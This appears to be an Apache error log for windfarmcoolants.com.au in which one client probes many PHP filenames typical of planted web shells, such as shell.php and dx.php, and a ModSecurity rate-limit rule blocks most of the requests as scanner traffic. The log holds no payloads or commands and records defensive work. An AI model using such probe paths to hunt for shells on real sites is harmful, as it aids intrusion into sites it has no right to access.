[Sun Apr 19 05:39:03.708342 2026] [:error] [pid 15764:tid 15831] [client 172.213.136.193:40149] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ewp.php"] [unique_id "aeP592LL_sqdSHoVp-TrcAAAAkU"]
[Sun Apr 19 05:39:04.915213 2026] [:error] [pid 47886:tid 47890] [client 172.213.136.193:27061] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kikikoko.php"] [unique_id "aeP5-ESe8yiyuPrD7yPsUgAAAMI"]
[Sun Apr 19 05:39:05.744619 2026] [:error] [pid 47775:tid 47858] [client 172.213.136.193:27042] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kikikoko.php"] [unique_id "aeP5-bmztjlk9tsmoexyDwAAAI8"]
[Sun Apr 19 05:39:06.651523 2026] [:error] [pid 15694:tid 15725] [client 172.213.136.193:27055] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kikikoko.php"] [unique_id "aeP5-rimB-jol1fwqAq7WwAAAYI"]
[Sun Apr 19 05:39:07.292018 2026] [:error] [pid 47886:tid 47891] [client 172.213.136.193:17828] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kikikoko.php"] [unique_id "aeP5-0Se8yiyuPrD7yPsVAAAAMM"]
[Sun Apr 19 05:39:08.407417 2026] [:error] [pid 15693:tid 15708] [client 172.213.136.193:27058] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nwflm.php"] [unique_id "aeP5_MNMD-ccazQlTskV8QAAAUw"]
[Sun Apr 19 05:39:08.947617 2026] [:error] [pid 15765:tid 15869] [client 172.213.136.193:17799] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nwflm.php"] [unique_id "aeP5_PRqinw-W5EwQ76DawAAApA"]
[Sun Apr 19 05:39:09.755752 2026] [:error] [pid 47772:tid 47808] [client 172.213.136.193:17851] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nwflm.php"] [unique_id "aeP5_Yc0L16cb4smAz-fVAAAABM"]
[Sun Apr 19 05:39:10.448462 2026] [:error] [pid 15765:tid 15857] [client 172.213.136.193:40777] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nwflm.php"] [unique_id "aeP5_vRqinw-W5EwQ76DbgAAAoQ"]
[Sun Apr 19 05:39:11.228448 2026] [:error] [pid 47886:tid 47895] [client 172.213.136.193:27038] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "aeP5_0Se8yiyuPrD7yPsXAAAAMc"]
[Sun Apr 19 05:39:12.050775 2026] [:error] [pid 47886:tid 47901] [client 172.213.136.193:17844] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "aeP6AESe8yiyuPrD7yPsYAAAAM0"]
[Sun Apr 19 05:39:12.955704 2026] [:error] [pid 15764:tid 15837] [client 172.213.136.193:27067] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "aeP6AGLL_sqdSHoVp-TrdgAAAks"]
[Sun Apr 19 05:39:13.840102 2026] [:error] [pid 15694:tid 15735] [client 172.213.136.193:40159] File does not exist: /usr/local/apache/htdocs/suspended-page/dx.php
[Sun Apr 19 05:39:14.105481 2026] [:error] [pid 15694:tid 15743] [client 172.213.136.193:40159] File does not exist: /usr/local/apache/htdocs/suspended-page/xff.php
[Sun Apr 19 05:39:14.470206 2026] [:error] [pid 15694:tid 15746] [client 172.213.136.193:40159] File does not exist: /usr/local/apache/htdocs/suspended-page/lupo.php
[Sun Apr 19 05:39:14.709734 2026] [:error] [pid 15694:tid 15732] [client 172.213.136.193:40159] File does not exist: /usr/local/apache/htdocs/suspended-page/awa.php
[Sun Apr 19 05:39:14.945977 2026] [:error] [pid 15694:tid 15751] [client 172.213.136.193:40159] File does not exist: /usr/local/apache/htdocs/suspended-page/popo.php
[Sun Apr 19 05:39:15.182804 2026] [:error] [pid 15694:tid 15737] [client 172.213.136.193:40159] File does not exist: /usr/local/apache/htdocs/suspended-page/13.php
[Sun Apr 19 05:39:15.419351 2026] [:error] [pid 15694:tid 15739] [client 172.213.136.193:40159] File does not exist: /usr/local/apache/htdocs/suspended-page/11.php
[Sun Apr 19 05:39:15.655302 2026] [:error] [pid 15694:tid 15725] [client 172.213.136.193:40159] File does not exist: /usr/local/apache/htdocs/suspended-page/p.php
[Sun Apr 19 05:39:16.130556 2026] [:error] [pid 15694:tid 15745] [client 172.213.136.193:40159] File does not exist: /usr/local/apache/htdocs/suspended-page/bthil.php
[Sun Apr 19 05:39:16.470362 2026] [:error] [pid 15694:tid 15724] [client 172.213.136.193:40159] File does not exist: /usr/local/apache/htdocs/suspended-page/shell.php
[Sun Apr 19 05:39:16.702895 2026] [:error] [pid 15694:tid 15726] [client 172.213.136.193:40159] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tea.php"] [unique_id "aeP6BLimB-jol1fwqAq7cAAAAYM"]
[Sun Apr 19 05:39:17.594483 2026] [:error] [pid 15760:tid 15790] [client 172.213.136.193:17841] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tea.php"] [unique_id "aeP6BfSdD_XHQMJ_ISsY6wAAAdY"]
[Sun Apr 19 05:39:18.413906 2026] [:error] [pid 47772:tid 47800] [client 172.213.136.193:38371] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tea.php"] [unique_id "aeP6Boc0L16cb4smAz-fVwAAAAs"]
[Sun Apr 19 05:39:19.386738 2026] [:error] [pid 47772:tid 47795] [client 172.213.136.193:27018] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tea.php"] [unique_id "aeP6B4c0L16cb4smAz-fWgAAAAY"]
[Sun Apr 19 05:39:19.937507 2026] [:error] [pid 15764:tid 15831] [client 172.213.136.193:27017] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/seo.php"] [unique_id "aeP6B2LL_sqdSHoVp-TrfgAAAkU"]
[Sun Apr 19 05:39:20.665825 2026] [:error] [pid 47775:tid 47853] [client 172.213.136.193:40167] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/seo.php"] [unique_id "aeP6CLmztjlk9tsmoexyGwAAAIo"]
[Sun Apr 19 05:39:21.255668 2026] [:error] [pid 47775:tid 47864] [client 172.213.136.193:27046] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/seo.php"] [unique_id "aeP6Cbmztjlk9tsmoexyHgAAAJU"]
[Sun Apr 19 05:39:22.105952 2026] [:error] [pid 15693:tid 15705] [client 172.213.136.193:40807] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/seo.php"] [unique_id "aeP6CsNMD-ccazQlTskWAQAAAUk"]
[Sun Apr 19 05:39:22.868948 2026] [:error] [pid 15760:tid 15786] [client 172.213.136.193:38342] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "aeP6CvSdD_XHQMJ_ISsY9gAAAdI"]
[Sun Apr 19 05:39:23.453410 2026] [:error] [pid 47773:tid 47838] [client 172.213.136.193:17816] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "aeP6C-iBHdnCJDuPq9BVCwAAAFY"]
[Sun Apr 19 05:39:24.425286 2026] [:error] [pid 15765:tid 15856] [client 172.213.136.193:27031] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "aeP6DPRqinw-W5EwQ76DegAAAoM"]
[Sun Apr 19 05:39:25.007487 2026] [:error] [pid 47773:tid 47820] [client 172.213.136.193:40151] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "aeP6DeiBHdnCJDuPq9BVDwAAAEQ"]
[Sun Apr 19 05:39:26.177882 2026] [:error] [pid 15764:tid 15829] [client 172.213.136.193:17807] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "aeP6DmLL_sqdSHoVp-TrgAAAAkM"]
[Sun Apr 19 05:39:26.921420 2026] [:error] [pid 15763:tid 15809] [client 172.213.136.193:40771] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "aeP6DrMXv1Y1THOoxaAjkwAAAg0"]
[Sun Apr 19 05:39:27.564561 2026] [:error] [pid 15763:tid 15808] [client 172.213.136.193:17804] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "aeP6D7MXv1Y1THOoxaAjlgAAAgw"]
[Sun Apr 19 05:39:28.158323 2026] [:error] [pid 15764:tid 15843] [client 172.213.136.193:40829] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "aeP6EGLL_sqdSHoVp-TrgQAAAlE"]
[Sun Apr 19 05:39:28.759274 2026] [:error] [pid 47773:tid 47819] [client 172.213.136.193:27026] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "aeP6EOiBHdnCJDuPq9BVEQAAAEM"]
[Sun Apr 19 05:39:29.458890 2026] [:error] [pid 15694:tid 15746] [client 172.213.136.193:27022] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "aeP6EbimB-jol1fwqAq7cwAAAZQ"]
[Sun Apr 19 05:39:30.836815 2026] [:error] [pid 15760:tid 15775] [client 172.213.136.193:40147] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "aeP6EvSdD_XHQMJ_ISsZBgAAAcc"]
[Sun Apr 19 05:39:31.536742 2026] [:error] [pid 15763:tid 15814] [client 172.213.136.193:40160] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "aeP6E7MXv1Y1THOoxaAjngAAAhI"]
[Sun Apr 19 05:39:32.274386 2026] [:error] [pid 47886:tid 47904] [client 172.213.136.193:27051] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "aeP6FESe8yiyuPrD7yPsbQAAANA"]
[Sun Apr 19 05:39:33.057001 2026] [:error] [pid 15764:tid 15848] [client 172.213.136.193:40141] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "aeP6FWLL_sqdSHoVp-TriAAAAlY"]
[Sun Apr 19 05:39:33.802318 2026] [:error] [pid 47775:tid 47854] [client 172.213.136.193:17824] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "aeP6Fbmztjlk9tsmoexyNwAAAIs"]
[Sun Apr 19 05:39:34.873187 2026] [:error] [pid 15764:tid 15834] [client 172.213.136.193:40156] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "aeP6FmLL_sqdSHoVp-TrjwAAAkg"]
[Sun Apr 19 05:39:35.685524 2026] [:error] [pid 47886:tid 47888] [client 172.213.136.193:40802] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3.php"] [unique_id "aeP6F0Se8yiyuPrD7yPsdQAAAMA"]
[Sun Apr 19 05:39:36.857291 2026] [:error] [pid 15763:tid 15796] [client 172.213.136.193:40787] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3.php"] [unique_id "aeP6GLMXv1Y1THOoxaAjpwAAAgA"]
[Sun Apr 19 05:39:37.675411 2026] [:error] [pid 47775:tid 47866] [client 172.213.136.193:32522] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3.php"] [unique_id "aeP6Gbmztjlk9tsmoexyPAAAAJc"]
[Sun Apr 19 05:39:38.685583 2026] [:error] [pid 15765:tid 15873] [client 172.213.136.193:40770] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3.php"] [unique_id "aeP6GvRqinw-W5EwQ76DgAAAApQ"]
[Sun Apr 19 05:39:39.717385 2026] [:error] [pid 47772:tid 47797] [client 172.213.136.193:38376] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/4.php"] [unique_id "aeP6G4c0L16cb4smAz-faAAAAAg"]
[Sun Apr 19 05:39:41.146268 2026] [:error] [pid 47772:tid 47811] [client 172.213.136.193:40773] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/4.php"] [unique_id "aeP6HYc0L16cb4smAz-fbwAAABY"]
[Sun Apr 19 05:39:41.847025 2026] [:error] [pid 15763:tid 15809] [client 172.213.136.193:40800] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/4.php"] [unique_id "aeP6HbMXv1Y1THOoxaAjrAAAAg0"]
[Sun Apr 19 05:39:42.394005 2026] [:error] [pid 15763:tid 15804] [client 172.213.136.193:27041] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/4.php"] [unique_id "aeP6HrMXv1Y1THOoxaAjrQAAAgg"]
[Sun Apr 19 05:39:43.154071 2026] [:error] [pid 47772:tid 47810] [client 172.213.136.193:40138] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/5.php"] [unique_id "aeP6H4c0L16cb4smAz-feQAAABU"]
[Sun Apr 19 05:39:43.695211 2026] [:error] [pid 47772:tid 47794] [client 172.213.136.193:40825] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/5.php"] [unique_id "aeP6H4c0L16cb4smAz-ffQAAAAU"]
[Sun Apr 19 05:39:44.267843 2026] [:error] [pid 47772:tid 47799] [client 172.213.136.193:21138] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/5.php"] [unique_id "aeP6IIc0L16cb4smAz-ffwAAAAo"]
[Sun Apr 19 05:39:44.910027 2026] [:error] [pid 47772:tid 47795] [client 172.213.136.193:27069] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/5.php"] [unique_id "aeP6IIc0L16cb4smAz-fhAAAAAY"]
[Sun Apr 19 05:39:45.530987 2026] [:error] [pid 15765:tid 15862] [client 172.213.136.193:38375] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/6.php"] [unique_id "aeP6IfRqinw-W5EwQ76DhQAAAok"]
[Sun Apr 19 05:39:46.282823 2026] [:error] [pid 15764:tid 15850] [client 172.213.136.193:38384] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/6.php"] [unique_id "aeP6ImLL_sqdSHoVp-TrlgAAAlc"]
[Sun Apr 19 05:39:46.839375 2026] [:error] [pid 15764:tid 15848] [client 172.213.136.193:40804] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/6.php"] [unique_id "aeP6ImLL_sqdSHoVp-TrmAAAAlY"]
[Sun Apr 19 05:39:47.485416 2026] [:error] [pid 15694:tid 15743] [client 172.213.136.193:40148] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/6.php"] [unique_id "aeP6I7imB-jol1fwqAq7fQAAAZE"]
[Sun Apr 19 05:39:48.099652 2026] [:error] [pid 15764:tid 15839] [client 172.213.136.193:40778] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/9.php"] [unique_id "aeP6JGLL_sqdSHoVp-TrnAAAAk0"]
